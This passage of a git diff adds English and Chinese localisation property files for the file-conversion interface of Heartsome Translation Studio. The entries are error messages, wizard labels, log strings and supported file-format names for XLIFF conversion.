+#utils.FileFormatUtils.XMLG = XML (Generic) + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preference.FileTypePreferencePage.title = \u6587\u4ef6\u7c7b\u578b +preference.FileTypePreferencePage.imageLabel = \u8bf7\u9009\u62e9\u8981\u8bbe\u7f6e\u7684\u6587\u4ef6\u7c7b\u578b\u3002\n\n\u5728\u5c06\u5982\u4e0b\u7c7b\u578b\u7684\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF \u65f6\uff0c\u53ef\u4ee5\u81ea\u5b9a\u4e49\u6240\u9700\u8f6c\u6362\u6216\u6392\u9664\u7684\u5185\u5bb9\u3002 + +########################## 2012-08-28 \u6dfb\u52a0,\u6ce8\u91ca\u9aa8\u67b6\u5d4c\u5165\u540e ########################################### +model.ConverterViewModel.msg10 = \u8f6c\u6362\u6587\u4ef6\u65f6\uff0c\u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 +model.ConverterViewModel.msg11 = \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6 {0} ,\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 +model.ConverterViewModel.msg12 = \u8f6c\u6362\u6587\u4ef6\u65f6\uff0c\u4e22\u5931\u4e2d\u95f4\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5 +model.ConverterViewModel.msg13 = \u8f6c\u6362\u6587\u4ef6\u65f6\uff0c\u521b\u5efa XLIFF \u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 + +######################## 2012-11-20 ####################################### +handler.OpenConversionDialogHandler.finishLbl = \u8f6c\u6362 diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message_en.properties b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message_en.properties new file mode 100644 index 0000000..9dc2b4a --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message_en.properties @@ -0,0 +1,184 @@ +ui.ImplementationLoader.msg = [LOG] \u65e0\u6cd5\u52a0\u8f7d\u5de5\u5382\u7c7b {0} \u7684\u5b9e\u73b0\u3002 + +action.ConversionCompleteAction.msgTitle1 = Error +action.ConversionCompleteAction.msgTitle2 = Message +action.ConversionCompleteAction.msg1 = Unable to open the converted file. Please try again. +action.ConversionCompleteAction.msg2 = Conversion complete, but an exception occured when trying to open the XLIFF file:\n +action.ConversionCompleteAction.msg3 = Unable to find the converted file. Please convert the source file again. +action.ConversionCompleteAction.msg4 = Conversion complete, but an exception occured when trying to open the file with the default program: \n + +dialog.ConfigConversionDialog.direction1 = Convert source file to XLIFF +dialog.ConfigConversionDialog.direction2 = Convert XLIFF to target file +dialog.ConfigConversionDialog.suportFormat = Supported format + +extension.IConverterCallerImpl.msgTitle1 = Message +extension.IConverterCallerImpl.msgTitle2 = Error +extension.IConverterCallerImpl.msg1 = Unable to convert the file. Please make sure that the file format (extension) of the selected files are supported by Heartsome Translation Studio.\nPlease click "OK" to skip these files. To re-select the file, click "Cancel".\n +extension.IConverterCallerImpl.task1 = Converting project +extension.IConverterCallerImpl.task2 = Batch converting project files... +extension.IConverterCallerImpl.task3 = Converting files: + +handler.OpenConversionDialogHandler.msgTitle1 = Message +handler.OpenConversionDialogHandler.msgTitle2 = Error +handler.OpenConversionDialogHandler.msg1 = There is no available source file in the Source folder for XLIFF conversion, or the file format of these files is not supported.\nPlease add source files and make sure that they are supported by Heartsome Translation Studio. Then try again. +handler.OpenConversionDialogHandler.task1 = Converting project +handler.OpenConversionDialogHandler.task2 = Batch converting project files... +handler.OpenConversionDialogHandler.task3 = Converting files: +handler.OpenConversionDialogHandler.logger1 = [LOG] \u52a0\u8f7d\u9884\u7ffb\u8bd1\u6269\u5c55\u70b9\u51fa\u9519 +handler.OpenReverseConversionDialogHandler.msgTitle1 = Message +handler.OpenReverseConversionDialogHandler.msg1 = The XLIFF folder does not contain files that can be converted to target files, or the file format of these files is not supported.\nPlease convert source files to XLIFF format, or import XLIFF files. Please make sure that the file extension is *.hsxliff and try again. +handler.OpenReverseConversionDialogHandler.task1 = Converting project +handler.OpenReverseConversionDialogHandler.task2 = Converting XLIFF to target file... +handler.OpenReverseConversionDialogHandler.task3 = Converting files: +handler.OpenReverseConversionDialogHandler.msgTitle2 = Conversion failed. +handler.PreviewTranslationHandler.msgTitle = Message +handler.PreviewTranslationHandler.msg1 = The XLIFF file open in the editor does not exist. Please check if the file has been deleted. +handler.PreviewTranslationHandler.msg2 = The XLIFF folder of the project does not exist. Please check if the folder has been deleted. +handler.PreviewTranslationHandler.msg3 = The current file is not a valid XLIFF. Please check again. +handler.PreviewTranslationHandler.msg4 = The preview of the converted file does not exist. Please try again. +handler.PreviewTranslationHandler.msg5 = Unable to open the preview of the converted file. Please try again. +handler.PreviewTranslationHandler.msg6 = Conversion complete, but an exception occured when trying to open the preview with the default program associated with it: \n +handler.PreviewTranslationHandler.msg7 = No program calls +handler.PreviewTranslationHandler.task1 = Preview the Project +handler.PreviewTranslationHandler.task2 = Previewing files... +handler.PreviewTranslationHandler.task3 = Converting files: + +model.ConversionConfigBean.msg1 = Please select source files. +model.ConversionConfigBean.msg2 = Source files does not exist. +model.ConversionConfigBean.msg3 = Please select target files. +model.ConversionConfigBean.msg4 = The XLIFF already exists. +model.ConversionConfigBean.msg5 = Please select the language of source files. +model.ConversionConfigBean.msg6 = Please select the encoding of source files. +model.ConversionConfigBean.msg7 = Please select an SRX file. +model.ConversionConfigBean.msg8 = The SRX rule does not exist. +model.ConversionConfigBean.msg9 = Please select target files. +model.ConversionConfigBean.msg10 = The target file already exists. +model.ConversionConfigBean.msg11 = Please select the encoding of target files. +model.ConverterViewModel.msg1 = File Conversion +model.ConverterViewModel.msg2 = Unable to convert following source files. Please make sure that the file formats (extensions) of the selected files are supported by Heartsome Translation Studio: \n +model.ConverterViewModel.msg3 = Unable to convert following XLIFF files. Please make sure that the file formats (extensions) of the source files are supported by Heartsome Translation Studio: \n +model.ConverterViewModel.msg4 = Unable to convert: This is an invalid XLIFF file.\nPlease make sure that you select valid XLIFF files. +model.ConverterViewModel.msg5 = Unable to convert: This XLIFF file has been merged with multiple XLIFF files.\nPlease split the files and try again. +model.ConverterViewModel.msg6 = Unable to convert: The XLIFF file is split from one XLIFF file.\nPlease combine all split files and try again. +model.ConverterViewModel.msg7 = Unable to convert: The XLIFF file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +model.ConverterViewModel.msg8 = Please select a file type. +model.ConverterViewModel.msg9 = Microsoft Office 2003 documents are indirectly supported.\nPlease install OpenOffice/LibreOffice and set up its installation path in Tools > Options > Translate, and then try again. +model.ConverterViewModel.logger1 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\uff1a{0} failed. +model.ConverterViewModel.logger2 = [LOG] \u5df2\u53d6\u6d88\u64cd\u4f5c\u3002 +model.ConverterViewModel.logger3 = [LOG] \u8f6c\u6362\u6587\u4ef6\uff1a{0} failed. +model.ConverterViewModel.logger4 = [LOG] \u521b\u5efa\u76ee\u6807\u6587\u4ef6\uff1a{0} failed. +model.ReverseConversionValidateWithLibrary3.task1 = Analyzing XLIFF file... +model.ReverseConversionValidateWithLibrary3.msg1 = The skeleton file of the XLIFF does not exist.\nPlease make sure that in the Intermediate/SKL folder of the Project, there is a skeleton file with extension skl and has the same nameas the XLIFF. If it does not exist, please try to repair the file using the following steps.\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +model.ReverseConversionValidateWithLibrary3.msg2 = [LOG] \u5206\u6790 {0} \u5931\u8d25\u3002 +model.ReverseConversionValidateWithLibrary3.msg3 = Failed to analyze the XLIFF file. +model.ReverseConversionValidateWithLibrary3.msg4 = Unable to convert: No target language has been set for the XLIFF file. +model.ReverseConversionValidateWithLibrary3.msg5 = xml\:lang +model.ReverseConversionValidateWithLibrary3.logger1 = [LOG] \u5f00\u59cb\u5206\u6790 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger2 = [LOG] \u5206\u6790\u7684 XLIFF \u6587\u4ef6\u5927\u5c0f\u4e3a\uff08\u5b57\u8282\uff09\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger3 = [LOG] \u5f00\u59cb\u52a0\u8f7d XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger4 = [LOG] \u52a0\u8f7d XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger5 = [LOG] \u52a0\u8f7d XLIFF \u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger6 = [LOG] \u5f00\u59cb\u5904\u7406\u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7684\u903b\u8f91\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger7 = [LOG] \u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger8 = [LOG] \u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger9 = [LOG] \u5f00\u59cb\u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger10 = [LOG] \u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger11 = [LOG] \u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger12 = [LOG] \u5206\u6790 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger13 = [LOG] \u5206\u6790 XLIFF \u6587\u4ef6\u603b\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger14 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5f00\u59cb\u5904\u7406\u6587\u672c\u6bb5\u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger15 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u7ec8\u6b62\u5904\u7406 segments \u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger16 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5bf9 segments \u5217\u8868\u7684\u5904\u7406\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger17 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5f00\u59cb\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger18 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger19 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\u7528\u65f6\uff1a{} + +utils.ConversionResource.msg1 = The file does not exist. Please select a valid file. +utils.ConversionResource.msg2 = Unable to find the source file. Conversion direction: +utils.ConversionResource.msg3 = Unable to find the skeleton file. Conversion direction: +utils.ConversionResource.msg4 = Unable to find the target file. Conversion direction: + +wizard.ConversionWizard.title = Convert Source Files to XLIFFs +wizard.ConversionWizard.pageName = Conversion Option Settings +wizard.ConversionWizardPage.title = The following files are going to be converted to XLIFF files: +wizard.ConversionWizardPage.description = Please set up file attributes and conversion options. +wizard.ConversionWizardPage.langComposite = Properties +wizard.ConversionWizardPage.formatLabel = Format: +wizard.ConversionWizardPage.srcEncLabel = Encoding: +wizard.ConversionWizardPage.options = Conversion Options +wizard.ConversionWizardPage.btnReplaceTarget = Overwrite files with the same name +wizard.ConversionWizardPage.tgtLangLbl = Target Language: +wizard.ConversionWizardPage.segmentation = Segmentation Rules +wizard.ConversionWizardPage.segLabel = SRX file: +wizard.ConversionWizardPage.segBrowse = &Browse... +wizard.ConversionWizardPage.msg1 = Please select the language of the target file(s). +wizard.ConversionWizardPage.msg2 = File {0}: +wizard.ConversionWizardPage.lineNumColumn = No. +wizard.ConversionWizardPage.sourceColumn = Source File +wizard.ConversionWizardPage.formatColumn = Format +wizard.ConversionWizardPage.srcEncColumn = Encoding +wizard.ConversionWizardPage.btnOpenPreTrans = Pre-translate +wizard.ConversionWizardPage.logger = [LOG] \u5728\u8f6c\u6362\u5668\u4e2d\u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID: net.heartsome.cat.ts.ui +wizard.ReverseConversionWizard.title = Convert XLIFFs to Target Files +wizard.ReverseConversionWizard.pageName = Conversion Option Settings +wizard.ReverseConversionWizardPage.title = The following XLIFF files are going to be converted to target files +wizard.ReverseConversionWizardPage.langComposite = Properties +wizard.ReverseConversionWizardPage.tgtEncLabel = Encoding: +wizard.ReverseConversionWizardPage.options = Conversion Options +wizard.ReverseConversionWizardPage.btnReplaceTarget = Overwrite files with the same name +wizard.ReverseConversionWizardPage.task1 = Verifying XLIFF files +wizard.ReverseConversionWizardPage.task2 = Processing conversion verification... +wizard.ReverseConversionWizardPage.msg1 = File {0}: +wizard.ReverseConversionWizardPage.lineNumberColumn = No. +wizard.ReverseConversionWizardPage.xliffColumn = XLIFF Files +wizard.ReverseConversionWizardPage.tgtEncColumn = Encoding +wizard.ReverseConversionWizardPage.targetColumn = Target file + + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.MIF = Adobe FrameMaker Interchange Format (MIF) +utils.FileFormatUtils.IDML = Adobe InDesign Markup Language(IDML) +utils.FileFormatUtils.INX = Adobe InDesign Interchange file (INX) +utils.FileFormatUtils.DU = D\u00e9j\u00e0 Vu XLIFF file (XLF) +utils.FileFormatUtils.RTF = Rich Text Format (RTF) +utils.FileFormatUtils.PO = GNU gettext Portable Object (PO) +utils.FileFormatUtils.JAVA = Java Properties File (PROPERTIES) +utils.FileFormatUtils.JS = JavaScript (JS) +utils.FileFormatUtils.MQ = MemoQ 6.x file (MQXLZ) +utils.FileFormatUtils.MS = Microsoft Office 97-2004 document (DOC, XLS, PPT) +utils.FileFormatUtils.OFF = Microsoft Office documents (DOCX, XLSX, PPTX) +utils.FileFormatUtils.MSEXCEL = Microsoft Excel worksheet (XLSX) +utils.FileFormatUtils.PPTX = Microsoft PowerPoint presentations (PPTX) +utils.FileFormatUtils.MSWORD2007 = Microsoft Word Document (DOCX) +utils.FileFormatUtils.OO = OpenOffice files (ODT, ODS, ODP, ODG) +utils.FileFormatUtils.TRTF = SDL Trados bilingual RTF file (RTF) +utils.FileFormatUtils.SDL = SDL Trados XLIFF file (SDLXLIFF) +utils.FileFormatUtils.TTX = SDL TRADOStag bilingual file (TTX) +utils.FileFormatUtils.HTML = Webpages file (HTM, HTML) +utils.FileFormatUtils.TEXT = Text (TXT) +utils.FileFormatUtils.RESX = Windows .NET Resources (RESX) +utils.FileFormatUtils.RC = Windows C/C++ resource file (RC) +utils.FileFormatUtils.XML = XML file (XML) +utils.FileFormatUtils.WF = Wordfast Pro bilingual XML file (TXML) +# XML (Generic) \u4ee3\u7801\u4e2d\u672a\u7528\u5230\uff0c\u56e0\u6b64\u5148\u6ce8\u91ca\u4e0b\u884c\u5185\u5bb9 +#utils.FileFormatUtils.XMLG = XML (Generic) + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preference.FileTypePreferencePage.title = File Types +preference.FileTypePreferencePage.imageLabel = Please select a file type.\n\nYou may customize or exclude content for conversion when converting the following file formats to XLIFF. + +########################## 2012-08-28 \u6dfb\u52a0,\u6ce8\u91ca\u9aa8\u67b6\u5d4c\u5165\u540e ########################################### +model.ConverterViewModel.msg10 = Failed to create intermediate files during conversion. Please try again. +model.ConverterViewModel.msg11 = Failed to create skeleton file {0}. Please try again. +model.ConverterViewModel.msg12 = The intermediate files were lost during conversion. Please try again. +model.ConverterViewModel.msg13 = Failed to create XLIFF during conversion. Please try again. + +######################## 2012-11-20 ####################################### +handler.OpenConversionDialogHandler.finishLbl = Convert + +wizard.ConversionWizardPage.selectfiledialog.title = Add Files +wizard.ConversionWizardPage.selectfiledialog.message = Select files you want to add +wizard.ConversionWizardPage.addbutton = &Add... +wizard.ConversionWizardPage.removebutton = &Remove +wizard.ConversionWizardPage.removebutton.msg1 = Please select files you want to remove from the left list! +wizard.ConversionWizardPage.removebutton.msg1.title = Error diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message_zh.properties b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message_zh.properties new file mode 100644 index 0000000..19aaa51 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/resource/message_zh.properties @@ -0,0 +1,188 @@ +ui.ImplementationLoader.msg = [LOG] \u65e0\u6cd5\u52a0\u8f7d\u5de5\u5382\u7c7b {0} \u7684\u5b9e\u73b0\u3002 + +action.ConversionCompleteAction.msgTitle1 = \u9519\u8bef +action.ConversionCompleteAction.msgTitle2 = \u63d0\u793a +action.ConversionCompleteAction.msg1 = \u65e0\u6cd5\u6253\u5f00\u8f6c\u6362\u540e\u7684\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 +action.ConversionCompleteAction.msg2 = \u8f6c\u6362\u5b8c\u6210\uff0c\u4f46\u5728\u5c1d\u8bd5\u6253\u5f00\u8be5 XLIFF \u6587\u4ef6\u65f6\u53d1\u751f\u5f02\u5e38\uff1a\n +action.ConversionCompleteAction.msg3 = \u672a\u627e\u5230\u5df2\u8f6c\u6362\u7684\u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u8f6c\u6362\u6587\u4ef6\u3002 +action.ConversionCompleteAction.msg4 = \u8f6c\u6362\u5b8c\u6210\uff0c\u4f46\u5728\u5c1d\u8bd5\u4f7f\u7528\u7cfb\u7edf\u9ed8\u8ba4\u7a0b\u5e8f\u6253\u5f00\u8be5\u6587\u4ef6\u65f6\u53d1\u751f\u5f02\u5e38\uff1a\n + +dialog.ConfigConversionDialog.direction1 = \u6e90\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF +dialog.ConfigConversionDialog.direction2 = XLIFF \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6 +dialog.ConfigConversionDialog.suportFormat = \u652f\u6301\u7684\u683c\u5f0f + +extension.IConverterCallerImpl.msgTitle1 = \u63d0\u793a +extension.IConverterCallerImpl.msgTitle2 = \u9519\u8bef +extension.IConverterCallerImpl.msg1 = \u65e0\u6cd5\u8f6c\u6362\u4e0b\u5217\u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\u3002\n\u8981\u5ffd\u7565\u5e76\u8df3\u8fc7\u8fd9\u4e9b\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u786e\u5b9a\u201d\uff1b\u8981\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\uff0c\u8bf7\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u3002\n +extension.IConverterCallerImpl.task1 = \u8f6c\u6362\u9879\u76ee +extension.IConverterCallerImpl.task2 = \u5f00\u59cb\u6279\u91cf\u8f6c\u6362\u9879\u76ee\u6587\u4ef6... +extension.IConverterCallerImpl.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a + +handler.OpenConversionDialogHandler.msgTitle1 = \u63d0\u793a +handler.OpenConversionDialogHandler.msgTitle2 = \u9519\u8bef +handler.OpenConversionDialogHandler.msg1 = Source \u76ee\u5f55\u4e2d\u6ca1\u6709\u53ef\u8f6c\u6362\u4e3a XLIFF \u7684\u6e90\u6587\u4ef6\uff0c\u6216\u5747\u4e3a\u4e0d\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u6dfb\u52a0\u6e90\u6587\u4ef6\uff0c\u5e76\u786e\u8ba4\u5b83\u4eec\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handler.OpenConversionDialogHandler.task1 = \u8f6c\u6362\u9879\u76ee +handler.OpenConversionDialogHandler.task2 = \u5f00\u59cb\u6279\u91cf\u8f6c\u6362\u9879\u76ee\u6587\u4ef6... +handler.OpenConversionDialogHandler.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a +handler.OpenConversionDialogHandler.logger1 = [LOG] \u52a0\u8f7d\u9884\u7ffb\u8bd1\u6269\u5c55\u70b9\u51fa\u9519 +handler.OpenReverseConversionDialogHandler.msgTitle1 = \u63d0\u793a +handler.OpenReverseConversionDialogHandler.msg1 = XLIFF \u76ee\u5f55\u4e2d\u6ca1\u6709\u53ef\u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6\u7684 XLIFF \u6587\u4ef6\uff0c\u6216\u5747\u4e3a\u4e0d\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u5c06\u6e90\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF\u3001\u6216\u5bfc\u5165 XLIFF \u6587\u4ef6\uff0c\u5e76\u786e\u8ba4\u5b83\u4eec\u7684\u540e\u7f00\u540d\u5747\u4e3a *.hsxliff\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handler.OpenReverseConversionDialogHandler.task1 = \u8f6c\u6362\u9879\u76ee +handler.OpenReverseConversionDialogHandler.task2 = \u8f6c\u6362\u9879\u76ee\u4e2d\u7684 XLIFF \u4e3a\u76ee\u6807\u6587\u4ef6... +handler.OpenReverseConversionDialogHandler.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a +handler.OpenReverseConversionDialogHandler.msgTitle2 = \u6587\u4ef6\u8f6c\u6362\u5931\u8d25 +handler.PreviewTranslationHandler.msgTitle = \u63d0\u793a +handler.PreviewTranslationHandler.msg1 = \u5f53\u524d\u7f16\u8f91\u5668\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5df2\u88ab\u5220\u9664\u3002 +handler.PreviewTranslationHandler.msg2 = \u9879\u76ee\u7684 XLIFF \u6587\u4ef6\u5939\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u5939\u662f\u5426\u5df2\u88ab\u5220\u9664\u3002 +handler.PreviewTranslationHandler.msg3 = \u5f53\u524d\u6253\u5f00\u7684\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u6253\u5f00\u4e86\u6b63\u786e\u7684 XLIFF \u6587\u4ef6\u3002 +handler.PreviewTranslationHandler.msg4 = \u5df2\u8f6c\u6362\u7684\u9884\u89c8\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u9884\u89c8\u7ffb\u8bd1\u3002 +handler.PreviewTranslationHandler.msg5 = \u65e0\u6cd5\u6253\u5f00\u8f6c\u6362\u540e\u7684\u9884\u89c8\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 +handler.PreviewTranslationHandler.msg6 = \u8f6c\u6362\u5b8c\u6210\uff0c\u4f46\u5728\u5c1d\u8bd5\u4f7f\u7528\u7cfb\u7edf\u9ed8\u8ba4\u5173\u8054\u7a0b\u5e8f\u6253\u5f00\u8be5\u9884\u89c8\u6587\u4ef6\u65f6\u53d1\u751f\u5f02\u5e38\uff1a\n +handler.PreviewTranslationHandler.msg7 = \u65e0\u76f8\u5173\u7a0b\u5e8f\u8c03\u7528 +handler.PreviewTranslationHandler.task1 = \u9884\u89c8\u9879\u76ee +handler.PreviewTranslationHandler.task2 = \u5f00\u59cb\u9884\u89c8\u6587\u4ef6... +handler.PreviewTranslationHandler.task3 = \u5f00\u59cb\u8f6c\u6362\u6587\u4ef6\uff1a + +model.ConversionConfigBean.msg1 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg2 = \u6e90\u6587\u4ef6\u4e0d\u5b58\u5728\u3002 +model.ConversionConfigBean.msg3 = \u8bf7\u9009\u62e9\u76ee\u6807\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg4 = \u5f85\u751f\u6210\u7684 XLIFF \u5df2\u5b58\u5728\u3002 +model.ConversionConfigBean.msg5 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u7684\u8bed\u8a00\u3002 +model.ConversionConfigBean.msg6 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u7684\u7f16\u7801\u3002 +model.ConversionConfigBean.msg7 = \u8bf7\u9009\u62e9 SRX \u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg8 = \u6307\u5b9a\u7684 SRX \u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u4e0d\u5b58\u5728\u3002 +model.ConversionConfigBean.msg9 = \u8bf7\u9009\u62e9\u76ee\u6807\u6587\u4ef6\u3002 +model.ConversionConfigBean.msg10 = \u76ee\u6807\u6587\u4ef6\u5df2\u5b58\u5728\u3002 +model.ConversionConfigBean.msg11 = \u8bf7\u9009\u62e9\u76ee\u6807\u6587\u4ef6\u7684\u7f16\u7801\u3002 +model.ConverterViewModel.msg1 = \u6587\u4ef6\u8f6c\u6362 +model.ConverterViewModel.msg2 = \u65e0\u6cd5\u8f6c\u6362\u5982\u4e0b\u6e90\u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\uff1a\n +model.ConverterViewModel.msg3 = \u65e0\u6cd5\u8f6c\u6362\u5982\u4e0b XLIFF \u6587\u4ef6\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684 XLIFF \u6240\u5bf9\u5e94\u7684\u6e90\u6587\u4ef6\u683c\u5f0f\uff08\u540e\u7f00\u540d\uff09\u5747\u5728 Heartsome Translation Studio \u7684\u652f\u6301\u4e4b\u5217\uff1a\n +model.ConverterViewModel.msg4 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u6b63\u786e\u7684 XLIFF \u6587\u4ef6\u3002 +model.ConverterViewModel.msg5 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u7531\u591a\u4e2a XLIFF \u5408\u5e76\u800c\u6210\u3002\n\u8bf7\u5148\u5c06\u8be5\u6587\u4ef6\u5206\u5272\u4e3a\u5408\u5e76\u524d\u7684 XLIFF\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +model.ConverterViewModel.msg6 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u7531\u4e00\u4e2a XLIFF \u5206\u5272\u800c\u6210\u3002\n\u8bf7\u5148\u5c06\u8be5\u6587\u4ef6\u4e0e\u5176\u4ed6\u4e00\u540c\u88ab\u5206\u5272\u51fa\u6765\u7684 XLIFF \u5408\u5e76\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +model.ConverterViewModel.msg7 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF 